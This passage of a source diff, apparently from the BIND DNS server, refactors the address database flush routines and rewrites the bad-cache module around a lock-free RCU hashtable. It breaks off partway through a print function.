-	for (i = 0; i < adb->nnames; i++) {
-		RUNTIME_CHECK(!cleanup_names(adb, i, INT_MAX));
-	}
-	for (i = 0; i < adb->nentries; i++) {
-		RUNTIME_CHECK(!cleanup_entries(adb, i, INT_MAX));
+	if (atomic_load(&adb->exiting)) {
+		return;
 	}
 
+	cleanup_names(adb, INT_MAX);
+	cleanup_entries(adb, INT_MAX);
 #ifdef DUMP_ADB_AFTER_CLEANING
 	dump_adb(adb, stdout, true, INT_MAX);
 #endif /* ifdef DUMP_ADB_AFTER_CLEANING */
-
-	UNLOCK(&adb->lock);
 }
 
 void
 dns_adb_flushname(dns_adb_t *adb, const dns_name_t *name) {
-	dns_adbname_t *adbname;
-	dns_adbname_t *nextname;
-	unsigned int bucket;
+	dns_adbname_t *adbname = NULL;
+	isc_result_t result;
+	bool start_at_zone = false;
+	adbnamekey_t key;
 
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(name != NULL);
 
-	LOCK(&adb->lock);
-	bucket = dns_name_hash(name, false) % adb->nnames;
-	LOCK(&adb->namelocks[bucket]);
-	adbname = ISC_LIST_HEAD(adb->names[bucket]);
-	while (adbname != NULL) {
-		nextname = ISC_LIST_NEXT(adbname, plink);
-		if (!NAME_DEAD(adbname) && dns_name_equal(name, &adbname->name))
-		{
-			RUNTIME_CHECK(
-				!kill_name(&adbname, DNS_EVENT_ADBCANCELED));
+	if (atomic_load(&adb->exiting)) {
+		return;
+	}
+
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+again:
+	/*
+	 * Delete both entries - without and with DNS_ADBFIND_STARTATZONE set.
+	 */
+	key.start_at_zone = start_at_zone;
+	memmove(&key.name, name->ndata, name->length);
+	key.size = name->length + sizeof(bool);
+
+	result = isc_hashmap_find(adb->names, NULL, key.key, key.size,
+				  (void **)&adbname);
+	if (result == ISC_R_SUCCESS) {
+		dns_adbname_ref(adbname);
+		LOCK(&adbname->lock);
+		if (dns_name_equal(name, &adbname->name)) {
+			expire_name(adbname, DNS_ADB_CANCELED);
 		}
-		adbname = nextname;
+		UNLOCK(&adbname->lock);
+		dns_adbname_detach(&adbname);
 	}
-	UNLOCK(&adb->namelocks[bucket]);
-	UNLOCK(&adb->lock);
+	if (!start_at_zone) {
+		start_at_zone = true;
+		goto again;
+	}
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
 }
 
 void
 dns_adb_flushnames(dns_adb_t *adb, const dns_name_t *name) {
-	dns_adbname_t *adbname, *nextname;
-	unsigned int i;
+	dns_adbname_t *next = NULL;
 
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(name != NULL);
 
-	LOCK(&adb->lock);
-	for (i = 0; i < adb->nnames; i++) {
-		LOCK(&adb->namelocks[i]);
-		adbname = ISC_LIST_HEAD(adb->names[i]);
-		while (adbname != NULL) {
-			bool ret;
-			nextname = ISC_LIST_NEXT(adbname, plink);
-			if (!NAME_DEAD(adbname) &&
-			    dns_name_issubdomain(&adbname->name, name)) {
-				ret = kill_name(&adbname,
-						DNS_EVENT_ADBCANCELED);
-				RUNTIME_CHECK(!ret);
-			}
-			adbname = nextname;
+	if (atomic_load(&adb->exiting)) {
+		return;
+	}
+
+	RWLOCK(&adb->names_lock, isc_rwlocktype_write);
+	for (dns_adbname_t *adbname = ISC_LIST_HEAD(adb->names_lru);
+	     adbname != NULL; adbname = next)
+	{
+		next = ISC_LIST_NEXT(adbname, link);
+		dns_adbname_ref(adbname);
+		LOCK(&adbname->lock);
+		if (dns_name_issubdomain(&adbname->name, name)) {
+			expire_name(adbname, DNS_ADB_CANCELED);
 		}
-		UNLOCK(&adb->namelocks[i]);
+		UNLOCK(&adbname->lock);
+		dns_adbname_detach(&adbname);
 	}
-	UNLOCK(&adb->lock);
+	RWUNLOCK(&adb->names_lock, isc_rwlocktype_write);
 }
 
 static void
 water(void *arg, int mark) {
-	/*
-	 * We're going to change the way to handle overmem condition: use
-	 * isc_mem_isovermem() instead of storing the state via this callback,
-	 * since the latter way tends to cause race conditions.
-	 * To minimize the change, and in case we re-enable the callback
-	 * approach, however, keep this function at the moment.
-	 */
-
 	dns_adb_t *adb = arg;
-	bool overmem = (mark == ISC_MEM_HIWATER);
 
 	REQUIRE(DNS_ADB_VALID(adb));
 
+	atomic_store_release(&adb->is_overmem, (mark == ISC_MEM_HIWATER));
+
 	DP(ISC_LOG_DEBUG(1), "adb reached %s water mark",
-	   overmem ? "high" : "low");
+	   (mark == ISC_MEM_HIWATER) ? "high" : "low");
 }
 
 void
 dns_adb_setadbsize(dns_adb_t *adb, size_t size) {
 	size_t hiwater, lowater;
 
-	INSIST(DNS_ADB_VALID(adb));
+	REQUIRE(DNS_ADB_VALID(adb));
 
 	if (size != 0U && size < DNS_ADB_MINADBSIZE) {
 		size = DNS_ADB_MINADBSIZE;
@@ -4796,7 +3668,7 @@ dns_adb_setadbsize(dns_adb_t *adb, size_t size) {
 	lowater = size - (size >> 2); /* Approximately 3/4ths. */
 
 	if (size == 0U || hiwater == 0U || lowater == 0U) {
-		isc_mem_setwater(adb->mctx, water, adb, 0, 0);
+		isc_mem_clearwater(adb->mctx);
 	} else {
 		isc_mem_setwater(adb->mctx, water, adb, hiwater, lowater);
 	}
@@ -4814,8 +3686,24 @@ dns_adb_setquota(dns_adb_t *adb, uint32_t quota, uint32_t freq, double low,
 	adb->atr_discount = discount;
 }
 
-bool
-dns_adbentry_overquota(dns_adbentry_t *entry) {
+void
+dns_adb_getquota(dns_adb_t *adb, uint32_t *quotap, uint32_t *freqp,
+		 double *lowp, double *highp, double *discountp) {
+	REQUIRE(DNS_ADB_VALID(adb));
+
+	SET_IF_NOT_NULL(quotap, adb->quota);
+
+	SET_IF_NOT_NULL(freqp, adb->atr_freq);
+
+	SET_IF_NOT_NULL(lowp, adb->atr_low);
+
+	SET_IF_NOT_NULL(highp, adb->atr_high);
+
+	SET_IF_NOT_NULL(discountp, adb->atr_discount);
+}
+
+static bool
+adbentry_overquota(dns_adbentry_t *entry) {
 	REQUIRE(DNS_ADBENTRY_VALID(entry));
 
 	uint_fast32_t quota = atomic_load_relaxed(&entry->quota);
@@ -4824,18 +3712,38 @@ dns_adbentry_overquota(dns_adbentry_t *entry) {
 	return (quota != 0 && active >= quota);
 }
 
+bool
+dns_adb_overquota(dns_adb_t *adb ISC_ATTR_UNUSED, dns_adbaddrinfo_t *addrinfo) {
+	REQUIRE(DNS_ADBADDRINFO_VALID(addrinfo));
+
+	return (adbentry_overquota(addrinfo->entry));
+}
+
 void
 dns_adb_beginudpfetch(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
+	uint_fast32_t active;
+
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	INSIST(atomic_fetch_add_relaxed(&addr->entry->active, 1) != UINT32_MAX);
+	active = atomic_fetch_add_relaxed(&addr->entry->active, 1);
+	INSIST(active != UINT32_MAX);
 }
 
 void
 dns_adb_endudpfetch(dns_adb_t *adb, dns_adbaddrinfo_t *addr) {
+	uint_fast32_t active;
+
 	REQUIRE(DNS_ADB_VALID(adb));
 	REQUIRE(DNS_ADBADDRINFO_VALID(addr));
 
-	INSIST(atomic_fetch_sub_release(&addr->entry->active, 1) != 0);
+	active = atomic_fetch_sub_release(&addr->entry->active, 1);
+	INSIST(active != 0);
+}
+
+isc_stats_t *
+dns_adb_getstats(dns_adb_t *adb) {
+	REQUIRE(DNS_ADB_VALID(adb));
+
+	return (adb->stats);
 }
diff --git a/lib/dns/badcache.c b/lib/dns/badcache.c
index aa09779b9e..c134873069 100644
--- a/lib/dns/badcache.c
+++ b/lib/dns/badcache.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,16 +16,20 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/atomic.h>
 #include <isc/buffer.h>
 #include <isc/hash.h>
 #include <isc/log.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/refcount.h>
 #include <isc/rwlock.h>
+#include <isc/spinlock.h>
+#include <isc/stdtime.h>
 #include <isc/string.h>
+#include <isc/thread.h>
 #include <isc/time.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
 #include <dns/badcache.h>
@@ -36,485 +42,353 @@ typedef struct dns_bcentry dns_bcentry_t;
 
 struct dns_badcache {
 	unsigned int magic;
-	isc_rwlock_t lock;
 	isc_mem_t *mctx;
-
-	isc_mutex_t *tlocks;
-	dns_bcentry_t **table;
-
-	atomic_uint_fast32_t count;
-	atomic_uint_fast32_t sweep;
-
-	unsigned int minsize;
-	unsigned int size;
+	struct cds_lfht *ht;
+	atomic_bool purge_in_progress;
 };
 
 #define BADCACHE_MAGIC	  ISC_MAGIC('B', 'd', 'C', 'a')
 #define VALID_BADCACHE(m) ISC_MAGIC_VALID(m, BADCACHE_MAGIC)
 
+#define BADCACHE_INIT_SIZE (1 << 10) /* Must be power of 2 */
+#define BADCACHE_MIN_SIZE  (1 << 8)  /* Must be power of 2 */
+
 struct dns_bcentry {
-	dns_bcentry_t *next;
+	isc_mem_t *mctx;
 	dns_rdatatype_t type;
-	isc_time_t expire;
-	uint32_t flags;
-	unsigned int hashval;
+	_Atomic(isc_stdtime_t) expire;
+	atomic_uint_fast32_t flags;
 	dns_fixedname_t fname;
 	dns_name_t *name;
+
+	struct cds_lfht_node ht_node;
+	struct rcu_head rcu_head;
 };
 
 static void
-badcache_resize(dns_badcache_t *bc, isc_time_t *now);
+bcentry_print(dns_bcentry_t *bad, isc_stdtime_t now, FILE *fp);
 
-isc_result_t
-dns_badcache_init(isc_mem_t *mctx, unsigned int size, dns_badcache_t **bcp) {
-	dns_badcache_t *bc = NULL;
-	unsigned int i;
+static void
+bcentry_destroy(struct rcu_head *rcu_head);
 
-	REQUIRE(bcp != NULL && *bcp == NULL);
+dns_badcache_t *
+dns_badcache_new(isc_mem_t *mctx) {
 	REQUIRE(mctx != NULL);
 
-	bc = isc_mem_get(mctx, sizeof(dns_badcache_t));
-	memset(bc, 0, sizeof(dns_badcache_t));
+	dns_badcache_t *bc = isc_mem_get(mctx, sizeof(*bc));
+	*bc = (dns_badcache_t){
+		.magic = BADCACHE_MAGIC,
+	};
 
-	isc_mem_attach(mctx, &bc->mctx);
-	isc_rwlock_init(&bc->lock, 0, 0);
+	bc->ht = cds_lfht_new(BADCACHE_INIT_SIZE, BADCACHE_MIN_SIZE, 0,
+			      CDS_LFHT_AUTO_RESIZE | CDS_LFHT_ACCOUNTING, NULL);
+	INSIST(bc->ht != NULL);
 
-	bc->table = isc_mem_get(bc->mctx, sizeof(*bc->table) * size);
-	bc->tlocks = isc_mem_get(bc->mctx, sizeof(isc_mutex_t) * size);
-	for (i = 0; i < size; i++) {
-		isc_mutex_init(&bc->tlocks[i]);
-	}
-	bc->size = bc->minsize = size;
-	memset(bc->table, 0, bc->size * sizeof(dns_bcentry_t *));
-
-	atomic_init(&bc->count, 0);
-	atomic_init(&bc->sweep, 0);
-	bc->magic = BADCACHE_MAGIC;
+	isc_mem_attach(mctx, &bc->mctx);
 
-	*bcp = bc;
-	return (ISC_R_SUCCESS);
+	return (bc);
 }
 
 void
 dns_badcache_destroy(dns_badcache_t **bcp) {
-	dns_badcache_t *bc;
-	unsigned int i;
-
 	REQUIRE(bcp != NULL && *bcp != NULL);
-	bc = *bcp;
-	*bcp = NULL;
-
-	dns_badcache_flush(bc);
+	REQUIRE(VALID_BADCACHE(*bcp));
 
+	dns_badcache_t *bc = *bcp;
+	*bcp = NULL;
 	bc->magic = 0;
-	isc_rwlock_destroy(&bc->lock);
-	for (i = 0; i < bc->size; i++) {
-		isc_mutex_destroy(&bc->tlocks[i]);
+
+	dns_bcentry_t *bad = NULL;
+	struct cds_lfht_iter iter;
+	cds_lfht_for_each_entry(bc->ht, &iter, bad, ht_node) {
+		INSIST(!cds_lfht_del(bc->ht, &bad->ht_node));
+		bcentry_destroy(&bad->rcu_head);
 	}
-	isc_mem_put(bc->mctx, bc->table, sizeof(dns_bcentry_t *) * bc->size);
-	isc_mem_put(bc->mctx, bc->tlocks, sizeof(isc_mutex_t) * bc->size);
+	RUNTIME_CHECK(!cds_lfht_destroy(bc->ht, NULL));
+
 	isc_mem_putanddetach(&bc->mctx, bc, sizeof(dns_badcache_t));
 }
 
+static int
+bcentry_match(struct cds_lfht_node *ht_node, const void *key) {
+	const dns_name_t *name = key;
+	dns_bcentry_t *bad = caa_container_of(ht_node, dns_bcentry_t, ht_node);
+
+	return (dns_name_equal(bad->name, name));
+}
+
+static dns_bcentry_t *
+bcentry_new(dns_badcache_t *bc, const dns_name_t *name,
+	    const dns_rdatatype_t type, const uint32_t flags,
+	    const isc_stdtime_t expire) {
+	dns_bcentry_t *bad = isc_mem_get(bc->mctx, sizeof(*bad));
+	*bad = (dns_bcentry_t){
+		.type = type,
+		.flags = flags,
+		.expire = expire,
+	};
+	isc_mem_attach(bc->mctx, &bad->mctx);
+
+	bad->name = dns_fixedname_initname(&bad->fname);
+	dns_name_copy(name, bad->name);
+
+	return (bad);
+}
+
 static void
-badcache_resize(dns_badcache_t *bc, isc_time_t *now) {
-	dns_bcentry_t **newtable, *bad, *next;
-	isc_mutex_t *newlocks;
-	unsigned int newsize, i;
-	bool grow;
+bcentry_destroy(struct rcu_head *rcu_head) {
+	dns_bcentry_t *bad = caa_container_of(rcu_head, dns_bcentry_t,
+					      rcu_head);
 
-	RWLOCK(&bc->lock, isc_rwlocktype_write);
+	isc_mem_putanddetach(&bad->mctx, bad, sizeof(*bad));
+}
 
+static void
+bcentry_evict(struct cds_lfht *ht, dns_bcentry_t *bad) {
 	/*
-	 * XXXWPK we will have a thundering herd problem here,
-	 * as all threads will wait on the RWLOCK when there's
-	 * a need to resize badcache.
-	 * However, it happens so rarely it should not be a
-	 * performance issue. This is because we double the
-	 * size every time we grow it, and we don't shrink
-	 * unless the number of entries really shrunk. In a
-	 * high load situation, the number of badcache entries
-	 * will eventually stabilize.
+	 * The hashtable isn't locked in a traditional sense, so multiple
+	 * threads can lookup and evict the same record at the same time.
+	 *
+	 * This is amplified by the bcentry_purge_next() that walks a few more
+	 * records in the hashtable and evicts them if they are expired.
+	 *
+	 * We need to destroy the bcentry only once - from the thread that has
+	 * deleted the entry from the hashtable, all other calls to this
+	 * function were redundant.
 	 */
-	if (atomic_load_relaxed(&bc->count) > bc->size * 8) {
-		grow = true;
-	} else if (atomic_load_relaxed(&bc->count) < bc->size * 2 &&
-		   bc->size > bc->minsize)
-	{
-		grow = false;
-	} else {
-		/* Someone resized it already, bail. */
-		RWUNLOCK(&bc->lock, isc_rwlocktype_write);
-		return;
+	if (!cds_lfht_del(ht, &bad->ht_node)) {
+		call_rcu(&bad->rcu_head, bcentry_destroy);
 	}
+}
 
-	if (grow) {
-		newsize = bc->size * 2 + 1;
-	} else {
-		newsize = (bc->size - 1) / 2;
-#ifdef __clang_analyzer__
-		/*
-		 * XXXWPK there's a bug in clang static analyzer -
-		 * `value % newsize` is considered undefined even though
-		 * we check if newsize is larger than 0. This helps.
-		 */
-		newsize += 1;
-#endif
+static bool
+bcentry_alive(struct cds_lfht *ht, dns_bcentry_t *bad, isc_stdtime_t now) {
+	if (cds_lfht_is_node_deleted(&bad->ht_node)) {
+		return (false);
+	} else if (atomic_load_relaxed(&bad->expire) < now) {
+		bcentry_evict(ht, bad);
+		return (false);
 	}
-	RUNTIME_CHECK(newsize > 0);
 
-	newtable = isc_mem_get(bc->mctx, sizeof(dns_bcentry_t *) * newsize);
-	memset(newtable, 0, sizeof(dns_bcentry_t *) * newsize);
+	return (true);
+}
 
-	newlocks = isc_mem_get(bc->mctx, sizeof(isc_mutex_t) * newsize);
+#define cds_lfht_for_each_entry_next(ht, iter, pos, member)     \
+	for (cds_lfht_next(ht, iter),                           \
+	     pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
+				  __typeof__(*(pos)), member);  \
+	     pos != NULL; /**/                                  \
+	     cds_lfht_next(ht, iter),                           \
+	     pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
+				  __typeof__(*(pos)), member))
 
-	/* Copy existing mutexes */
-	for (i = 0; i < newsize && i < bc->size; i++) {
-		newlocks[i] = bc->tlocks[i];
-	}
-	/* Initialize additional mutexes if we're growing */
-	for (i = bc->size; i < newsize; i++) {
-		isc_mutex_init(&newlocks[i]);
-	}
-	/* Destroy extra mutexes if we're shrinking */
-	for (i = newsize; i < bc->size; i++) {
-		isc_mutex_destroy(&bc->tlocks[i]);
-	}
-
-	for (i = 0; atomic_load_relaxed(&bc->count) > 0 && i < bc->size; i++) {
-		for (bad = bc->table[i]; bad != NULL; bad = next) {
-			next = bad->next;
-			if (isc_time_compare(&bad->expire, now) < 0) {
-				isc_mem_put(bc->mctx, bad, sizeof(*bad));
-				atomic_fetch_sub_relaxed(&bc->count, 1);
-			} else {
-				bad->next = newtable[bad->hashval % newsize];
-				newtable[bad->hashval % newsize] = bad;
-			}
+static void
+bcentry_purge_next(struct cds_lfht *ht, struct cds_lfht_iter *iter,
+		   isc_stdtime_t now) {
+	/* Lazy-purge the table */
+	size_t count = 10;
+	dns_bcentry_t *bad;
+	cds_lfht_for_each_entry_next(ht, iter, bad, ht_node) {
+		if (!bcentry_alive(ht, bad, now)) {
+			break;
+		}
+		if (--count == 0) {
+			break;
 		}
-		bc->table[i] = NULL;
 	}
-
-	isc_mem_put(bc->mctx, bc->tlocks, sizeof(isc_mutex_t) * bc->size);
-	bc->tlocks = newlocks;
-
-	isc_mem_put(bc->mctx, bc->table, sizeof(*bc->table) * bc->size);
-	bc->size = newsize;
-	bc->table = newtable;
-
-	RWUNLOCK(&bc->lock, isc_rwlocktype_write);
 }
 
 void
 dns_badcache_add(dns_badcache_t *bc, const dns_name_t *name,
 		 dns_rdatatype_t type, bool update, uint32_t flags,
-		 isc_time_t *expire) {
-	isc_result_t result;
-	unsigned int hashval, hash;
-	dns_bcentry_t *bad, *prev, *next;
-	isc_time_t now;
-	bool resize = false;
-
+		 isc_stdtime_t expire) {
 	REQUIRE(VALID_BADCACHE(bc));
 	REQUIRE(name != NULL);
-	REQUIRE(expire != NULL);
 
-	RWLOCK(&bc->lock, isc_rwlocktype_read);
-
-	result = isc_time_now(&now);
-	if (result != ISC_R_SUCCESS) {
-		isc_time_settoepoch(&now);
+	isc_stdtime_t now = isc_stdtime_now();
+	if (expire < now) {
+		expire = now;
 	}
 
-	hashval = dns_name_hash(name, false);
-	hash = hashval % bc->size;
-	LOCK(&bc->tlocks[hash]);
-	prev = NULL;
-	for (bad = bc->table[hash]; bad != NULL; bad = next) {
-		next = bad->next;
-		if (bad->type == type && dns_name_equal(name, bad->name)) {
-			if (update) {
-				bad->expire = *expire;
-				bad->flags = flags;
-			}
-			break;
-		}
-		if (isc_time_compare(&bad->expire, &now) < 0) {
-			if (prev == NULL) {
-				bc->table[hash] = bad->next;
-			} else {
-				prev->next = bad->next;
-			}
-			isc_mem_put(bc->mctx, bad, sizeof(*bad));
-			atomic_fetch_sub_relaxed(&bc->count, 1);
-		} else {
-			prev = bad;
+	rcu_read_lock();
+	struct cds_lfht *ht = rcu_dereference(bc->ht);
+	INSIST(ht != NULL);
+
+	dns_bcentry_t *bad = NULL;
+	uint32_t hashval = dns_name_hash(name);
+
+	struct cds_lfht_iter iter;
+	dns_bcentry_t *found = NULL;
+	cds_lfht_for_each_entry_duplicate(ht, hashval, bcentry_match, name,
+					  &iter, bad, ht_node) {
+		if (bcentry_alive(ht, bad, now) && bad->type == type) {
+			found = bad;
+			/*
+			 * We could bail-out on first match, but:
+			 * 1. there could be duplicate .type entries
+			 * 2. we want to check expire for all entries
+			 */
 		}
 	}
 
-	if (bad == NULL) {
-		unsigned count;
-		isc_buffer_t buffer;
-
-		bad = isc_mem_get(bc->mctx, sizeof(*bad));
-		*bad = (dns_bcentry_t){ .type = type,
-					.hashval = hashval,
-					.expire = *expire,
-					.flags = flags,
-					.next = bc->table[hash] };
-
-		isc_buffer_init(&buffer, bad + 1, name->length);
-		bad->name = dns_fixedname_initname(&bad->fname);
-		dns_name_copy(name, bad->name);
-		bc->table[hash] = bad;
-
-		count = atomic_fetch_add_relaxed(&bc->count, 1);
-		if ((count > bc->size * 8) ||
-		    (count < bc->size * 2 && bc->size > bc->minsize)) {
-			resize = true;
-		}
-	} else {
-		bad->expire = *expire;
+	if (found == NULL) {
+		/*
+		 * In theory, this could result in multiple entries for the same
+		 * type, but we don't care much, as they are going to be roughly
+		 * the same, and the last will always trump and the former
+		 * entries will expire (see above).
+		 */
+		bad = bcentry_new(bc, name, type, flags, expire);
+		cds_lfht_add(ht, hashval, &bad->ht_node);
+	} else if (update) {
+		atomic_store_relaxed(&found->expire, expire);
+		atomic_store_relaxed(&found->flags, flags);
 	}
 
-	UNLOCK(&bc->tlocks[hash]);
-	RWUNLOCK(&bc->lock, isc_rwlocktype_read);
-	if (resize) {
-		badcache_resize(bc, &now);
-	}
+	rcu_read_unlock();
 }
 
-bool
+isc_result_t
 dns_badcache_find(dns_badcache_t *bc, const dns_name_t *name,
-		  dns_rdatatype_t type, uint32_t *flagp, isc_time_t *now) {
-	dns_bcentry_t *bad, *prev, *next;
-	bool answer = false;
-	unsigned int i;
-	unsigned int hash;
-
+		  dns_rdatatype_t type, uint32_t *flagp, isc_stdtime_t now) {
 	REQUIRE(VALID_BADCACHE(bc));
 	REQUIRE(name != NULL);
-	REQUIRE(now != NULL);
 
-	RWLOCK(&bc->lock, isc_rwlocktype_read);
+	isc_result_t result = ISC_R_NOTFOUND;
 
-	/*
-	 * XXXMUKS: dns_name_equal() is expensive as it does a
-	 * octet-by-octet comparison, and it can be made better in two
-	 * ways here. First, lowercase the names (use
-	 * dns_name_downcase() instead of dns_name_copy() in
-	 * dns_badcache_add()) so that dns_name_caseequal() can be used
-	 * which the compiler will emit as SIMD instructions. Second,
-	 * don't put multiple copies of the same name in the chain (or
-	 * multiple names will have to be matched for equality), but use
-	 * name->link to store the type specific part.
-	 */
+	rcu_read_lock();
+	struct cds_lfht *ht = rcu_dereference(bc->ht);
+	INSIST(ht != NULL);
 
-	if (atomic_load_relaxed(&bc->count) == 0) {
-		goto skip;
-	}
+	dns_bcentry_t *bad = NULL;
+	uint32_t hashval = dns_name_hash(name);
 
-	hash = dns_name_hash(name, false) % bc->size;
-	prev = NULL;
-	LOCK(&bc->tlocks[hash]);
-	for (bad = bc->table[hash]; bad != NULL; bad = next) {
-		next = bad->next;
-		/*
-		 * Search the hash list. Clean out expired records as we go.
-		 */
-		if (isc_time_compare(&bad->expire, now) < 0) {
-			if (prev != NULL) {
-				prev->next = bad->next;
-			} else {
-				bc->table[hash] = bad->next;
-			}
-
-			isc_mem_put(bc->mctx, bad, sizeof(*bad));
-			atomic_fetch_sub(&bc->count, 1);
-			continue;
-		}
-		if (bad->type == type && dns_name_equal(name, bad->name)) {
-			if (flagp != NULL) {
-				*flagp = bad->flags;
-			}
-			answer = true;
-			break;
+	struct cds_lfht_iter iter;
+	dns_bcentry_t *found = NULL;
+	cds_lfht_for_each_entry_duplicate(ht, hashval, bcentry_match, name,
+					  &iter, bad, ht_node) {
+		if (bad->type == type && bcentry_alive(ht, bad, now)) {
+			found = bad;
 		}
-		prev = bad;
 	}
-	UNLOCK(&bc->tlocks[hash]);
-skip:
 
-	/*
-	 * Slow sweep to clean out stale records.
-	 */
-	i = atomic_fetch_add(&bc->sweep, 1) % bc->size;
-	if (isc_mutex_trylock(&bc->tlocks[i]) == ISC_R_SUCCESS) {
-		bad = bc->table[i];
-		if (bad != NULL && isc_time_compare(&bad->expire, now) < 0) {
-			bc->table[i] = bad->next;
-			isc_mem_put(bc->mctx, bad, sizeof(*bad));
-			atomic_fetch_sub_relaxed(&bc->count, 1);
+	if (found) {
+		result = ISC_R_SUCCESS;
+		if (flagp != NULL) {
+			*flagp = atomic_load_relaxed(&found->flags);
 		}
-		UNLOCK(&bc->tlocks[i]);
+
+		bcentry_purge_next(ht, &iter, now);
 	}
 
-	RWUNLOCK(&bc->lock, isc_rwlocktype_read);
-	return (answer);
+	rcu_read_unlock();
+
+	return (result);
 }
 
 void
 dns_badcache_flush(dns_badcache_t *bc) {
-	dns_bcentry_t *entry, *next;
-	unsigned int i;
-
-	RWLOCK(&bc->lock, isc_rwlocktype_write);
 	REQUIRE(VALID_BADCACHE(bc));
 
-	for (i = 0; atomic_load_relaxed(&bc->count) > 0 && i < bc->size; i++) {
-		for (entry = bc->table[i]; entry != NULL; entry = next) {
-			next = entry->next;
-			isc_mem_put(bc->mctx, entry, sizeof(*entry));
-			atomic_fetch_sub_relaxed(&bc->count, 1);
-		}
-		bc->table[i] = NULL;
+	struct cds_lfht *ht =
+		cds_lfht_new(BADCACHE_INIT_SIZE, BADCACHE_MIN_SIZE, 0,
+			     CDS_LFHT_AUTO_RESIZE | CDS_LFHT_ACCOUNTING, NULL);
+	INSIST(ht != NULL);
+
+	/* First swap the hashtables */
+	rcu_read_lock();
+	ht = rcu_xchg_pointer(&bc->ht, ht);
+	rcu_read_unlock();
+
+	/* Make sure nobody is using the old hash table */
+	synchronize_rcu();
+
+	/* Flush the old hash table */
+	dns_bcentry_t *bad = NULL;
+	struct cds_lfht_iter iter;
+	cds_lfht_for_each_entry(ht, &iter, bad, ht_node) {
+		INSIST(!cds_lfht_del(ht, &bad->ht_node));
+		bcentry_destroy(&bad->rcu_head);
 	}
-	RWUNLOCK(&bc->lock, isc_rwlocktype_write);
+	RUNTIME_CHECK(!cds_lfht_destroy(ht, NULL));
 }
 
 void
 dns_badcache_flushname(dns_badcache_t *bc, const dns_name_t *name) {
-	dns_bcentry_t *bad, *prev, *next;
-	isc_result_t result;
-	isc_time_t now;
-	unsigned int hash;
-
 	REQUIRE(VALID_BADCACHE(bc));
 	REQUIRE(name != NULL);
 
-	RWLOCK(&bc->lock, isc_rwlocktype_read);
+	rcu_read_lock();
+	struct cds_lfht *ht = rcu_dereference(bc->ht);
+	INSIST(ht != NULL);
 
-	result = isc_time_now(&now);
-	if (result != ISC_R_SUCCESS) {
-		isc_time_settoepoch(&now);
-	}
-	hash = dns_name_hash(name, false) % bc->size;
-	LOCK(&bc->tlocks[hash]);
-	prev = NULL;
-	for (bad = bc->table[hash]; bad != NULL; bad = next) {
-		int n;
-		next = bad->next;
-		n = isc_time_compare(&bad->expire, &now);
-		if (n < 0 || dns_name_equal(name, bad->name)) {
-			if (prev == NULL) {
-				bc->table[hash] = bad->next;
-			} else {
-				prev->next = bad->next;
-			}
-
-			isc_mem_put(bc->mctx, bad, sizeof(*bad));
-			atomic_fetch_sub_relaxed(&bc->count, 1);
-		} else {
-			prev = bad;
-		}
+	dns_bcentry_t *bad = NULL;
+	uint32_t hashval = dns_name_hash(name);
+
+	struct cds_lfht_iter iter;
+	cds_lfht_for_each_entry_duplicate(ht, hashval, bcentry_match, name,
+					  &iter, bad, ht_node) {
+		bcentry_evict(ht, bad);
 	}
-	UNLOCK(&bc->tlocks[hash]);
 
-	RWUNLOCK(&bc->lock, isc_rwlocktype_read);
+	rcu_read_unlock();
 }
 
 void
 dns_badcache_flushtree(dns_badcache_t *bc, const dns_name_t *name) {
-	dns_bcentry_t *bad, *prev, *next;
-	unsigned int i;
-	int n;
-	isc_time_t now;
-	isc_result_t result;
+	dns_bcentry_t *bad;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	REQUIRE(VALID_BADCACHE(bc));
 	REQUIRE(name != NULL);
 
-	/*
-	 * We write lock the tree to avoid relocking every node
-	 * individually.
-	 */
-	RWLOCK(&bc->lock, isc_rwlocktype_write);
-
-	result = isc_time_now(&now);
-	if (result != ISC_R_SUCCESS) {
-		isc_time_settoepoch(&now);
-	}
+	rcu_read_lock();
+	struct cds_lfht *ht = rcu_dereference(bc->ht);
+	INSIST(ht != NULL);
 
-	for (i = 0; atomic_load_relaxed(&bc->count) > 0 && i < bc->size; i++) {
-		prev = NULL;
-		for (bad = bc->table[i]; bad != NULL; bad = next) {
-			next = bad->next;
-			n = isc_time_compare(&bad->expire, &now);
-			if (n < 0 || dns_name_issubdomain(bad->name, name)) {
-				if (prev == NULL) {
-					bc->table[i] = bad->next;
-				} else {
-					prev->next = bad->next;
-				}
-
-				isc_mem_put(bc->mctx, bad, sizeof(*bad));
-				atomic_fetch_sub_relaxed(&bc->count, 1);
-			} else {
-				prev = bad;
-			}
+	struct cds_lfht_iter iter;
+	cds_lfht_for_each_entry(ht, &iter, bad, ht_node) {
+		if (dns_name_issubdomain(bad->name, name)) {
+			bcentry_evict(ht, bad);
+		} else if (!bcentry_alive(ht, bad, now)) {
+			/* Flush all the expired entries */
 		}
 	}
 
-	RWUNLOCK(&bc->lock, isc_rwlocktype_write);
+	rcu_read_unlock();
 }
 
-void
-dns_badcache_print(dns_badcache_t *bc, const char *cachename, FILE *fp) {
+static void
+bcentry_print(dns_bcentry_t *bad, isc_stdtime_t now, FILE *fp) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
-	dns_bcentry_t *bad, *next, *prev;
-	isc_time_t now;
-	unsigned int i;
-	uint64_t t;
+
+	dns_name_format(bad->name, namebuf, sizeof(namebuf));
+	dns_rdatatype_format(bad->type, typebuf, sizeof(typebuf));
+	fprintf(fp, "; %s/%s [ttl %" PRIu32 "]\n", namebuf, typebuf,
